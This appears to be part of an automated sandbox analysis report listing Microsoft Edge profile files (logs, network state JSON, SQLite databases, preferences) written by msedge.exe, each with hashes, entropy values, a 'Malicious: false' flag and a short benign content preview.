Entropy (8bit):	5.251554367822428
Encrypted:	false
SSDEEP:	12:NZOvVaYeb8rcHEZrELFUt8mZX/+mEP5OaYeb8rcHEZrEZSJ:nMVaYeb8nZrExg8IgOaYeb8nZrEZe
MD5:	BC83D096A614781A18F1D9325618161C
SHA1:	EC513B0C2820CE52AC26C0CE31F3A9AF82AE4B15
SHA-256:	A4DA5C3C0175CCF79C682F9D0BCB4E8A6694BE1E25396DE4A31B6C006D4F57EA
SHA-512:	3774FB21849605D640762FF0E2EF72B78BB9BFA09356467632272B9CF414C89DE0BF901B8A305926A6A646D99CADD943FEFFC8D94D7BE0E0F30634332538B4D8
Malicious:	false
Preview:	2024/11/23-15:59:33.403 23b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/23-15:59:33.403 23b4 Recovering log #3.2024/11/23-15:59:33.404 23b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.188565239599502
Encrypted:	false
SSDEEP:	6:HGDV3q2PN723oH+Tcwt8a2jMGIFUt8YGDHZmw+YGDJmkwON723oH+Tcwt8a2jMmd:cvVaYeb8EFUt8N/++5OaYeb8bJ
MD5:	D6C6C3FBB5403D2DB97F4618CE80F320
SHA1:	94D4DEDAF39AADA059A059F860B79D74D2AA40CF
SHA-256:	F14640A0B12C709A4585FE79AC054F08FC87504EED2043D9224FD60A4BAD3A95
SHA-512:	0CF950DDC8E7B5BED2E4D01320DEB8618DBC75798BC633F798210B6652FDB50E7CEEC05046CAA53917EDE9977B28BB84CF625B1C515F45062BC32548ECAC1724
Malicious:	false
Preview:	2024/11/23-15:59:29.882 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-15:59:29.883 2054 Recovering log #3.2024/11/23-15:59:29.886 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.188565239599502
Encrypted:	false
SSDEEP:	6:HGDV3q2PN723oH+Tcwt8a2jMGIFUt8YGDHZmw+YGDJmkwON723oH+Tcwt8a2jMmd:cvVaYeb8EFUt8N/++5OaYeb8bJ
MD5:	D6C6C3FBB5403D2DB97F4618CE80F320
SHA1:	94D4DEDAF39AADA059A059F860B79D74D2AA40CF
SHA-256:	F14640A0B12C709A4585FE79AC054F08FC87504EED2043D9224FD60A4BAD3A95
SHA-512:	0CF950DDC8E7B5BED2E4D01320DEB8618DBC75798BC633F798210B6652FDB50E7CEEC05046CAA53917EDE9977B28BB84CF625B1C515F45062BC32548ECAC1724
Malicious:	false
Preview:	2024/11/23-15:59:29.882 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/23-15:59:29.883 2054 Recovering log #3.2024/11/23-15:59:29.886 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3958430f-1566-4ccf-905c-592e48d9e224.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\39b6ee48-2e02-46d6-8151-a00a3db7fe1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1962
Entropy (8bit):	5.303960179906633
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxts9fcKsDleebsjC9kBRs9CgHYYhbm:F2fC6kke6YkBWT5hK
MD5:	1560E538BB6C10855B721BA1F41F506B
SHA1:	3AC712E272662308749536883E2093BA88398174
SHA-256:	4D13725EB9AF01CA09C7BE53369058214A7778EE92F632792741551384E418DB
SHA-512:	99F84703D371A08BCBBB4E0CB46B120F2270F23E88CFABFD7390B02BE49C5C48DB826189DA51FEA9C3B8024E1DA9B13BCDF73A0B0705FB2BAC37C00361B7DE24
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379461173629067","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379461178180671","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376962780969869","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.353197695373793
Encrypted:	false
SSDEEP:	48:TsKLopF+SawLUO1Xj8BqPNFGArO/Aa/yakQBpev6FX08:te+AuyO/AazBov2X08
MD5:	08E4525C2B71044FEEDEF3177D83295B
SHA1:	01E4B940C09FCE9CEC2AD0CCC57045807D7C687F
SHA-256:	7CC302EA152E5EAA5E45DBF4DA2782A745430BF41103D72077FBBD9F641E1110
SHA-512:	B9067DCF6EE71E3745CC088BC8BB1C3C0CF7C82765EE9DCEE4A512CB7F60C43100FF8A6239B7D2B3F85C96EB3DB5FE3C729D8A7ABFFF9E1BD5AF03268FBF957B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c417.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4419574320967736
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBHd:JkIEumQv8m1ccnvS6Hl4JARpezty/C1a
MD5:	AE3D5E6105C548DC08D3674D76079F06
SHA1:	BF0E5F5F5B564B4C1173C03EC67793DB5CC7747B
SHA-256:	9BC240A304C6AD2336953846472463E075AD236C7A080746B57FB453B2E11BA2
SHA-512:	7E639FDAD83E23B2F1202512CF3456C3FB7A2DC726800B5855D9A241187E0D7562C140CFCA8C5EC87941D11D4B0BD55ABB3A225C80D74417638651613A955861
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ae13.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ce3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b7991799-f9b5-4f53-8a80-c928140aedf8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d8466bf1-63b8-4a95-8f02-455b2ef97a5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dbe54d81-fa63-4a71-b0ef-3cc749768f45.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.111625428020506
Encrypted:	false
SSDEEP:	192:stYkdppsssmaFvrE9kRRE8obV+F5hQAUUGPsYJ:stYQpsssmCDMbGfQS6
MD5:	ED242F2EA28C1C30B39BE4873F869D00
SHA1:	F923A817323CFAF7B60C3FE1E4E5EC59CDCAA820
SHA-256:	3F884BB455FA8520DCED9755974FECD4219B1FF7CF2EBA40C1CFC44324EA9373
SHA-512:	A9BBA87DE80F96FF604BBA26D375E4AB5C37139D2E62D7141528E42C43530611E0ACA6BD6BB17EE1308830CFFC2987BB692D5BE542A938B3BA40D657D9EB909D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f87a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.111625428020506
Encrypted:	false
SSDEEP:	192:stYkdppsssmaFvrE9kRRE8obV+F5hQAUUGPsYJ:stYQpsssmCDMbGfQS6
MD5:	ED242F2EA28C1C30B39BE4873F869D00
SHA1:	F923A817323CFAF7B60C3FE1E4E5EC59CDCAA820
SHA-256:	3F884BB455FA8520DCED9755974FECD4219B1FF7CF2EBA40C1CFC44324EA9373
SHA-512:	A9BBA87DE80F96FF604BBA26D375E4AB5C37139D2E62D7141528E42C43530611E0ACA6BD6BB17EE1308830CFFC2987BB692D5BE542A938B3BA40D657D9EB909D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43e5d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.111625428020506
Encrypted:	false
SSDEEP:	192:stYkdppsssmaFvrE9kRRE8obV+F5hQAUUGPsYJ:stYQpsssmCDMbGfQS6
MD5:	ED242F2EA28C1C30B39BE4873F869D00
SHA1:	F923A817323CFAF7B60C3FE1E4E5EC59CDCAA820
SHA-256:	3F884BB455FA8520DCED9755974FECD4219B1FF7CF2EBA40C1CFC44324EA9373
SHA-512:	A9BBA87DE80F96FF604BBA26D375E4AB5C37139D2E62D7141528E42C43530611E0ACA6BD6BB17EE1308830CFFC2987BB692D5BE542A938B3BA40D657D9EB909D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b39d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.111625428020506
Encrypted:	false
SSDEEP:	192:stYkdppsssmaFvrE9kRRE8obV+F5hQAUUGPsYJ:stYQpsssmCDMbGfQS6
MD5:	ED242F2EA28C1C30B39BE4873F869D00
SHA1:	F923A817323CFAF7B60C3FE1E4E5EC59CDCAA820
SHA-256:	3F884BB455FA8520DCED9755974FECD4219B1FF7CF2EBA40C1CFC44324EA9373
SHA-512:	A9BBA87DE80F96FF604BBA26D375E4AB5C37139D2E62D7141528E42C43530611E0ACA6BD6BB17EE1308830CFFC2987BB692D5BE542A938B3BA40D657D9EB909D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376869169924664","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.568129821028227
Encrypted:	false
SSDEEP:	768:+qyoCNWEcW5wIqf4s/8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPeyI303drwXEpKtuN:+rvN5cWaIqfV/u1jab/2mhtO
MD5:	D46D9B4E01EB1192E4341B1184F05CB0
SHA1:	C01868E772C0832B5BEB745342BE421072FDECD4
SHA-256:	C9F145FFC58C21876A1B0400E3473D3A7BCFB1431A22F427CA2B6C8D472F395E
SHA-512:	66E0653944D25CDA5E935377FEE58738696E144E761CD49588FA5244D9AFAD62094CA3216820BE752CED2E35DD2968EB43A21734E2F349E765195CE093A17159
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376869169404785","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376869169404785","location":5,"ma

